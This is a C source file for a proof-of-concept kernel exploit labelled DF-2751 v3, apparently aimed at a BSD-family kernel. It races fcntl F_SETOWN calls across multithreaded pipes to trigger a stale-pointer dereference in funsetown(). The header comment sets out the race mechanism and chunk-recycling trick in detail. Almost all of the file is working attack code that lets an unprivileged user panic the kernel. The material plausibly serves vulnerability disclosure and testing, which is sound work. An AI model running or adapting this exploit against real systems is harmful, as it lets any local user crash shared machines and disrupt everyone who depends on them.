DF-2751 / funsetown_race3.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | /* * DF-2751 PoC v3: funsetown() KKASSERT stale-pointer deref, with * cross-pipe chunk recycling so the recycled sio_myref ALWAYS * mismatches the victim's sigiop. * * funsetown() (kern_descrip.c:1239-1252): * if ((sigio = *sigiop) != NULL) { <- L1, no token * lwkt_gettoken(&sigio_token); * KKASSERT(sigiop == sigio->sio_myref); <- derefs stale L1 * ... * Callers arriving WITHOUT the token: fsetown(0) via fcntl(F_SETOWN,0), * pipe_close (sys_pipe.c:1104), owner-exit funsetownlst. * * Mechanism: * V: fcntl(A0, F_SETOWN, 0) -> funsetown(&pbA.sigio): L1 loads X, * parks at lwkt_gettoken(&sigio_token) while W-side pgsigio / * killer fsetowns hold it; V's bufferA r/w tokens drop (LWKT). * K: fcntl(A0, F_SETOWN, pid)-> fsetown: gets bufferA tokens + token; * token-held funsetown() kfrees X, installs N1. * K: fcntl(D0, F_SETOWN, pid)-> fsetown(D): its kmalloc (M_ZERO) pops * X's 48-byte chunk per-CPU LIFO, stamps sio_myref = &pbD.sigio. * V: resumes, KKASSERT(&pbA.sigio == X->sio_myref == &pbD.sigio) * -> assertion failure -> panic (INVARIANTS; stock config has it). * * Even zeroed (not yet stamped) recycled chunks mismatch (NULL). * unprivileged; build: cc -O2 -pthread -o fr3 fr3.c */ #include <sys/fcntl.h> #include <errno.h> #include <err.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int A[2], D[2], W[2]; static volatile unsigned long v, k, w; static volatile int stop; static void * victim_thr(void *arg) { while (!stop) { fcntl(A[0], F_SETOWN, 0); v++; } return (NULL); } static void * killer_thr(void *arg) { pid_t pid = getpid(); while (!stop) { fcntl(A[0], F_SETOWN, pid); /* frees old A sigio (X) */ fcntl(D[0], F_SETOWN, pid); /* recycles chunk for pbD */ k++; } return (NULL); } static void * writer_thr(void *arg) { char buf[64]; memset(buf, 'x', sizeof(buf)); while (!stop) { /* pgsigio(pgrp) under sigio_token: long holds -> victims * and killers pile up at the token */ if (write(W[1], buf, sizeof(buf)) < 0 && errno != EAGAIN) break; w++; } return (NULL); } static void * drain_thr(void *arg) { char buf[65536]; while (!stop) read(W[0], buf, sizeof(buf)); return (NULL); } int main(int argc, char **argv) { pthread_t th[16]; int nth = 0, i; int secs = 300; int fl; if (argc > 1) secs = atoi(argv[1]); if (pipe(A) < 0 || pipe(D) < 0 || pipe(W) < 0) err(1, "pipe"); signal(SIGIO, SIG_IGN); fcntl(W[0], F_SETOWN, -getpgrp()); fl = fcntl(W[0], F_GETFL); fcntl(W[0], F_SETFL, fl | O_ASYNC); fl = fcntl(W[1], F_GETFL); fcntl(W[1], F_SETFL, fl | O_NONBLOCK); printf("DF-2751v3: uid=%d funsetown KKASSERT stale-load race, %ds...\n", getuid(), secs); fflush(stdout); pthread_create(&th[nth++], NULL, drain_thr, NULL); pthread_create(&th[nth++], NULL, writer_thr, NULL); pthread_create(&th[nth++], NULL, writer_thr, NULL); pthread_create(&th[nth++], NULL, victim_thr, NULL); pthread_create(&th[nth++], NULL, victim_thr, NULL); for (i = 0; i < 8; ++i) pthread_create(&th[nth++], NULL, killer_thr, NULL); sleep(secs); stop = 1; fcntl(W[0], F_SETOWN, 0); for (i = 0; i < nth; ++i) pthread_join(th[i], NULL); printf("survived: victim=%lu killer=%lu writes=%lu (no panic in %ds)\n", v, k, w, secs); return (2); } |